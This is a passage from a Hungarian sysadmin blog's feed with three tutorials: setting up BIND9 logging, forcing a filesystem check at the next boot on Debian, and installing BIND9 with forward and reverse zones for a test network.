fájlba mutat. A &lt;code&gt;version 3 size 1m&lt;/code&gt; kifejezés írja le, hogy a naplóbejegyzés 1 megabyte méretű lehet. Amint meghaladja, akkor új fájlt nyit és a régiekből hármat 
tart meg visszamenőleg. Úgy működik mint a logrotáció csak nincs tömörítése. A &lt;code&gt;severity&lt;/code&gt; határozza meg a fájlba kerülő naplóbejegyzés súlyosságát, amit már a 
syslog beállításokból ismerhetünk. A &lt;code&gt;print-category&lt;/code&gt;, &lt;code&gt;print-severity&lt;/code&gt; és &lt;code&gt;print-time&lt;/code&gt; beállítás határozza meg mi szerepeljen még egy-egy sorban, vagyis a 
bejegyzés kategóriája, súlyossága és ideje. A &lt;code&gt;category&lt;/code&gt;-val határozzuk meg, hogy a &lt;code&gt;default&lt;/code&gt; napló bejegyzések kerülnek a &lt;code&gt;bind_log&lt;/code&gt; névvel meghatározott fájlba az előzőkben megadott paraméterek szerint.
A &lt;code&gt;default&lt;/code&gt;, &lt;code&gt;lame-servers&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt;, &lt;code&gt;update-security&lt;/code&gt; és &lt;code&gt;security&lt;/code&gt; mellett még jó pár kategória van amit bővebben a BIND9 dokumentációjából megtudhatunk.&lt;/p&gt;

&lt;p&gt;Ellenőrizzük le az elkészült fájlt a &lt;code&gt;named.checkconf&lt;/code&gt; utasítással.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# named-checkconf /etc/bind/named.conf.log&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha nincs kimenete az ellenőrzésnek, akkor minden rendben. Most készítsük el a &lt;code&gt;/var/log/bind&lt;/code&gt; mappát és benne a &lt;code&gt;update_debug.log&lt;/code&gt;, &lt;code&gt;security_info.log&lt;/code&gt; és a &lt;code&gt;bind.log&lt;/code&gt; fájlokat, majd állítsuk be a jogosultságokat. Mivel a DNS szerverünk &lt;code&gt;bind&lt;/code&gt; felhasználó jogosultságával fut, így a mappa és a naplófájlok tulajdonosa is ez lesz.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# mkdir /var/log/bind&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# touch /var/log/bind/update_debug.log /var/log/bind/security_info.log /var/log/bind/bind.log&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# chown -R bind. /var/log/bind&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ahhoz hogy a BIND9 használja az elkészült naplózási beállítást és log fájlokat, szúrjuk be a következő sort a &lt;code&gt;named.conf.local&lt;/code&gt; konfigurációs fájl elejére.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/bind/named.conf.local&lt;/span&gt;
include &lt;span class=&quot;s2&quot;&gt;&amp;quot;/etc/bind/named.conf.log&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Nincs más hátra mint a BIND9 DNS szerver újraindítása.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# systemctl restart bind9&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;És a futásának ellenőrzése.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# systemctl status bind9&lt;/span&gt;
● bind9.service - BIND Domain Name Server
   Loaded: loaded &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/lib/systemd/system/bind9.service&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; enabled&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  Drop-In: /run/systemd/generator/bind9.service.d
           └─50-insserv.conf-&lt;span class=&quot;nv&quot;&gt;$named&lt;/span&gt;.conf
   Active: active &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;running&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; since cs 2016-03-10 18:53:14 CET&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 1h 2min ago
     Docs: man:named&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 Main PID: &lt;span class=&quot;m&quot;&gt;371&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;named&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   CGroup: /system.slice/bind9.service
           └─371 /usr/sbin/named -f -u &lt;span class=&quot;nb&quot;&gt;bind&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha megnézzük a &lt;code&gt;/var/log/bind&lt;/code&gt; mappát, akkor láthatjuk, hogy a szerver szépen naplóz a megfelelő fájlokba.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# ls -l /var/log/bind/&lt;/span&gt;
összesen 20
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bind bind &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;12621&lt;/span&gt; márc  &lt;span class=&quot;m&quot;&gt;10&lt;/span&gt; 19:53 bind.log
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bind bind    &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;76&lt;/span&gt; márc   &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; 20:45 security_info.log
-rw-r--r-- &lt;span class=&quot;m&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;bind bind     &lt;/span&gt;&lt;span class=&quot;m&quot;&gt;0&lt;/span&gt; márc   &lt;span class=&quot;m&quot;&gt;7&lt;/span&gt; 20:37 update_debug.log&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

</description>
        <pubDate>Thu, 10 Mar 2016 19:28:38 +0100</pubDate>
        <link>http://www.sysop.hu/blog/bind9/2016/03/10/BIND9-DNS-szerver-logolas/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/bind9/2016/03/10/BIND9-DNS-szerver-logolas/</guid>
        
        
        <category>bind9</category>
        
      </item>
    
      <item>
        <title>Lemez ellenőrzés kikényszerítése a következő induláskor</title>
        <description>&lt;p&gt;A felcsatolt lemezeket menet közben csak read-only módban tudjuk ellenőrizni és ha javítás szükséges, akkor ahhoz le kell csatolni őket (&lt;code&gt;umount&lt;/code&gt;). Ez nem minden esetben megoldható, például a &lt;code&gt;root&lt;/code&gt; partíció, illetve azok a lemezek, amelyeket a rajta lévő adatok folyamatos kiszolgálása végett a futó szolgáltatásoknak el kell érniük.
Ha a tervezett újraindításnál azt szeretnénk, hogy a rendszer automatán lefuttasson egy lemez ellenőrzést a felcsatolás előtt, akkor a következő beállításokkal ezt kikényszeríthetjük Debian alapú disztribúciók esetében.&lt;/p&gt;

&lt;h2 id=&quot;sysvinit&quot;&gt;SysVinit&lt;/h2&gt;

&lt;p&gt;Nyissuk meg a &lt;code&gt;/etc/default/rcS&lt;/code&gt; fájlt és az alapértelmezett &lt;code&gt;FSCKFIX=no&lt;/code&gt; opciót állítsuk át &lt;code&gt;yes&lt;/code&gt;-re.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/default/rcS&lt;/span&gt;
...
&lt;span class=&quot;nv&quot;&gt;FSCKFIX&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;yes
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ezután hozzunk létre egy üres &lt;code&gt;forcefsck&lt;/code&gt; nevű fájlt a főgyökérben.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# touch /forcefsck&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Így a következő újraindulásnál automatán lefut a lemez ellenőrzés.&lt;/p&gt;

&lt;h2 id=&quot;systemd&quot;&gt;Systemd&lt;/h2&gt;

&lt;p&gt;Az új Systemd rendszereknél viszont ez a megoldás nem működik. A &lt;code&gt;tune2fs&lt;/code&gt; parancs megmutatja, hogy az adott partíción mennyi felcsatolás után fog induláskor lefutni a lemez ellenőrzés.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tune2fs -l /dev/sda1&lt;/span&gt;
...
Maximum mount count:      -1
Last checked:             Sun Feb &lt;span class=&quot;m&quot;&gt;26&lt;/span&gt; 13:22:21 2016
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Látható hogy a &lt;code&gt;Maximum mount count&lt;/code&gt; értéke -1, vagyis sose fogja induláskor ellenőrizni a &lt;code&gt;/dev/sda1&lt;/code&gt; partíciót, az utolsó pedig 2016.02.26. 13:22:21-kor volt.
Ha azt szeretnénk, hogy a következő ujraindításkor a &lt;code&gt;/dev/sda1&lt;/code&gt; root partíción a felcsatolás elött lefusson egy fsck, akkor ezt szintén a tune2fs paranccsal beállíthatjuk.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tune2fs -c 1 /dev/sda1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;tune2fs -l /dev/sda1&lt;/code&gt; ismételt futtatásánál már látszik hogy a &lt;code&gt;Maximum count&lt;/code&gt; értéke 1, vagyis a következő rendszer indításnál lesz lemez ellenőrzés az adott partíción.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tune2fs -l /dev/sda1&lt;/span&gt;
...
Maximum mount count:      1
Last checked:             Sun Feb &lt;span class=&quot;m&quot;&gt;26&lt;/span&gt; 13:22:21 2016
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az újraindulás után a &lt;code&gt;tune2fs -l /dev/sda1&lt;/code&gt; kimenetén már látszik, hogy az utolsó ellenőrzés ideje aktualizálódott, az lefutott.
Az eredményét megnézhetjük &lt;code&gt;/run/initramfs/fsck.log&lt;/code&gt; fájlban.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /run/initramfs/fsck.log &lt;/span&gt;
Log of fsck -a -t ext4 /dev/sda1 
Sun Mar  &lt;span class=&quot;m&quot;&gt;6&lt;/span&gt; 16:55:46 2016

fsck from util-linux 2.25.2
/dev/sda1: clean, 24948/122400 files, 200127/488960 blocks

Sun Mar  &lt;span class=&quot;m&quot;&gt;6&lt;/span&gt; 16:55:46 2016
----------------&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha ez meg volt, akkor ugyan így vissza is állíthatjuk az értéket &lt;code&gt;-1&lt;/code&gt;-re, vagy ha szeretnénk, akkor beállíthatunk egy csatolási számot és ennyi felcsatolás után automatán lefut az ellenőrzés újrainduláskor.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tune2fs -c 20 /dev/sda1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Húsz felcsatolás után lefut.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# tune2fs -c -1 /dev/sda1&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;-1 vagy 0 esetén pedig sose fog lefutni.&lt;/p&gt;
</description>
        <pubDate>Sun, 06 Mar 2016 17:00:15 +0100</pubDate>
        <link>http://www.sysop.hu/blog/linux/2016/03/06/fsck-kikenyszeritese-indulaskor/</link>
        <guid isPermaLink="true">http://www.sysop.hu/blog/linux/2016/03/06/fsck-kikenyszeritese-indulaskor/</guid>
        
        
        <category>linux</category>
        
      </item>
    
      <item>
        <title>BIND9 DNS szerver telepítés Debian-ra</title>
        <description>&lt;h2 id=&quot;a-dns-szerver-szerepe&quot;&gt;A DNS szerver szerepe&lt;/h2&gt;

&lt;p&gt;Az internet IP (internet protokoll) alapú világméretű hálózat. Minden hálózatra kötött eszköznek van egy IP címe (egyedi azonosító) és az eszközök ez alapján kommunikálnak egymással. Az internet protokoll egy szám, ami IPv4 esetén négy bájt (szám 0-255-ig) ponttal elválasztva, például 74.125.136.100 . Persze ahhoz, hogy egyszerűbb legyen az életünk és a web böngészőbe ne hasonló számokat keljen beírogatni, kitalálták, hogy a számokat egyedi nevekkel lehessen helyettesíteni. Ezek lettek a domain nevek. Tehát amikor a böngészőbe beírjuk, hogy 74.125.136.100 akkor ugyanúgy a népszerű kereső oldalra jutunk, mintha azt írtuk volna, hogy google.com . De honnan tudja böngésző, hogy a beírt névhez milyen IP cím tartozik. És itt jön a lényeg. Az IP címek, nevekkel történő megfeleltetéséért a DNS szerverek felelősek. Amikor a böngészőbe beírjuk, hogy “google.com”, akkor a számítógép megkérdezi a DNS szervert, hogy “Ugyan mond már meg hogy milyen IP cím tartozik ehhez a domain névhez!”. A DNS szerver pedig küldi a választ, hogy “74.125.136.100”. Ezzel a böngésző már tud valamit kezdeni és meg fogja tudni jeleníteni az adott IP címen lévő web oldalt…&lt;/p&gt;

&lt;p&gt;A feladat tehát adott, a virtuális teszt környezetünkbe telepítünk egy BIND9 DNS szervert. A környezet a következő nevekből és IP címekből fog állni, a DNS szervernek ezeket kell majd feloldania:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;dns.debian.lnx - 192.168.10.10 - ez maga a DNS szerver&lt;/li&gt;
  &lt;li&gt;host.debian.lnx - 192.168.10.100 - egy host gép&lt;/li&gt;
  &lt;li&gt;gateway.debian.lnx - 192.168.10.254 - egy gateway gép ami az átjárást biztosítja a szeparált virtuális hálózat és a lan között.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;a-bind9-teleptse&quot;&gt;A BIND9 telepítése&lt;/h2&gt;

&lt;p&gt;Parancssorban root felhasználóként telepítsük a bind9 csomagot.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# apt-get install bind9&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Miután feltelepült, a szolgáltatás egyből fut, ellenőrizzük.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# systemctl status bind9&lt;/span&gt;
● bind9.service - BIND Domain Name Server
   Loaded: loaded &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;/lib/systemd/system/bind9.service&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; enabled&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
  Drop-In: /run/systemd/generator/bind9.service.d
           └─50-insserv.conf-&lt;span class=&quot;nv&quot;&gt;$named&lt;/span&gt;.conf
   Active: active &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;running&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; since k 2016-03-01 20:12:43 CET&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 22min ago
     Docs: man:named&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;8&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
 Main PID: &lt;span class=&quot;m&quot;&gt;375&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;named&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
   CGroup: /system.slice/bind9.service
           └─375 /usr/sbin/named -f -u &lt;span class=&quot;nb&quot;&gt;bind&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Először állítsuk be a &lt;code&gt;forwarders&lt;/code&gt; opciót. Ez teszi lehetővé, hogy ha olyan DNS kérés érkezik a kiszolgálóhoz, amit nem tud feloldani, akkor a kérést továbbítja egy megadott másik DNS szerverhez feloldásra.
A következő fontos beállítás, az &lt;code&gt;allow-query&lt;/code&gt;. Ez mondja meg a DNS szervernek, hogy mely tartományoktól fogadhat csak el DNS lekérdezéseket.
Nyissuk meg hát a &lt;code&gt;named.conf.options&lt;/code&gt; fájlt és állítsuk be ezeket.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano named.conf.options&lt;/span&gt;
...
	forwarders &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
		8.8.8.8&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	allow-query &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt; 192.168.10.0/24&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 127.0.0.1&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
...&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code&gt;forwarders&lt;/code&gt;nél megadhatjuk a szolgáltatónk, a google publikus vagy bármely a hálózatban elérhető DNS szerver címét.&lt;/p&gt;

&lt;p&gt;A következő feladat, hogy a &lt;code&gt;named.conf.local&lt;/code&gt; fájlba felvesszük a &lt;code&gt;debian.lnx&lt;/code&gt; tartományunkat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano named.conf.local&lt;/span&gt;
zone &lt;span class=&quot;s2&quot;&gt;&amp;quot;debian.lnx&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;type &lt;/span&gt;master&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/etc/bind/db.debian.lnx&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

zone &lt;span class=&quot;s2&quot;&gt;&amp;quot;10.168.192.in-addr.arpa&amp;quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;nb&quot;&gt;type &lt;/span&gt;master&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        file &lt;span class=&quot;s2&quot;&gt;&amp;quot;/etc/bind/db.192&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ügyeljünk a sorvégi és a kapcsos zárójelek végén levő pontos vesszőkre.
Most csináljunk egy másolatot a &lt;code&gt;db.empty&lt;/code&gt; fájlból &lt;code&gt;db.debian.lnx&lt;/code&gt; néven. Majd a &lt;code&gt;localhost&lt;/code&gt;-ot cseréljük &lt;code&gt;debian.lnx&lt;/code&gt;-re.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cp db.empty db.debian.lnx&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# sed -i s/localhost/debian\.lnx/g db.debian.lnx&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az utolsó sorban az &lt;code&gt;NS&lt;/code&gt; rekordot javítsuk ki dns.debian.lnx-re és vegyük fel a többi nevet és címet.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano db.debian.lnx&lt;/span&gt;
...
@	IN	NS	dns.debian.lnx.
dns	IN	A	192.168.10.10
host	IN	A	192.168.10.100
gateway	IN	A	192.168.10.254&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A reverse fájlal, vagyis a &lt;code&gt;db.192&lt;/code&gt;-vel járjunk el hasonlóan.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cp db.empty db.192&lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# sed -i s/localhost/debian\.lnx/g db.192&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Az utolsó sorban itt is javítsuk az &lt;code&gt;NS&lt;/code&gt; rekordot és vegyük fel a többi gép reverse (PTR) címét.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano db.192&lt;/span&gt;
...
@	IN	NS	dns.debian.lnx.
10	IN	PTR	dns.debian.lnx.
100	IN	PTR	host.debian.lnx.
254	IN	PTR	gateway.debian.lnx.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha változtatunk a zóna fájl (esetünkben db.debian.lnx, db.192) tartalmán, akkor a benne lévő &lt;code&gt;Serial&lt;/code&gt; opción növelni kell hogy a DNS szerver reload után életbelépjenek azok. Újraindítás (restart) esetén újratölti a zóna fájlokat, de reload esetén ha a &lt;code&gt;Serial&lt;/code&gt; nem változik, akkor nem.
A &lt;code&gt;Serial&lt;/code&gt; tartalmát csak simán növelhetjük, de a bevett szokás, hogy a módosítás dátumát irjuk ide hozzátéve egy két jegyű számot a végére, jelezvén a napon belüli esetleges változások számát pl. 2016022901.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /etc/bind/db.debian.lnx &lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$TTL&lt;/span&gt;	604800
@	IN	SOA	debian.lnx. root.debian.lnx. &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
			2016022901	&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Serial
			 604800		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Refresh
			  86400		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Retry
			2419200		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Expire
			 &lt;span class=&quot;m&quot;&gt;604800&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Negative Cache TTL
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
@	IN	NS	dns.debian.lnx.
dns	IN	A	192.168.10.10
host	IN	A	192.168.10.100
gateway	IN	A	192.168.10.254&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# cat /etc/bind/db.192&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;$TTL&lt;/span&gt;	604800
@	IN	SOA	debian.lnx. root.debian.lnx. &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;
			2016022901	&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Serial
			 604800		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Refresh
			  86400		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Retry
			2419200		&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Expire
			 &lt;span class=&quot;m&quot;&gt;604800&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;	&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; Negative Cache TTL
&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
@	IN	NS	dns.debian.lnx.
10	IN	PTR	debian.lnx.
100	IN	PTR	host.debian.lnx.
254	IN	PTR	gateway.debian.lnx.&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Mielött ujratöltjük a DNS szerver konfigokat, ellenőrizzük azokat.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# named-checkconf /etc/bind/named.conf.local &lt;/span&gt;
&lt;span class=&quot;c&quot;&gt;# named-checkconf /etc/bind/named.conf.options&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha nem ad vissza semmit, akkor nincs benne hiba.
Most a zone fájlok ellenörzése  következik.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# named-checkzone debian.lnx db.debian.lnx &lt;/span&gt;
zone debian.lnx/IN: loaded serial 2016022903
OK&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# named-checkzone 10.168.190.in-addr.arpa db.192&lt;/span&gt;
zone 10.168.190.in-addr.arpa/IN: loaded serial 2016022901
OK&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Úgy néz ki, hogy szintaktikailag minden rendben. Nincs más hátra, mint a DNS szerver konfigurációk újratöltése.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# systemctl reload bind9&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;A host és a gateway gépre belépve, állítsuk be a &lt;code&gt;/etc/resolv.conf&lt;/code&gt;-ba, hogy az új DNS szerver legyen használva.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nano /etc/resolv.conf&lt;/span&gt;
nameserver 192.168.10.10&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Ha ez meg van akkor ellenőrizzük, hogy az új DNS szerver feloldja-e az gépneveket.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span class=&quot;c&quot;&gt;# nslookup gateway.debian.lnx&lt;/span&gt;
Server:		192.168.10.10
Address:	192.168.10.10#53

Name:	gateway.debian.lnx
Address: 192.168.10.254

&lt;span class=&quot;c&quot;&gt;# nslookup host.debian.lnx&lt;/span&gt;
Server:		192.168.10.10
Address:	192.168.10.10#53

Name:	host.debian.lnx
Address: 192.168.10.100

&lt;span class=&quot;c&quot;&gt;# nslookup dns.debian.lnx&lt;/span&gt;
Server:		192.168.10.10
Address:	192.168.10.10#53

Name:	dns.debian.lnx
Address: 192.168.10.10&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

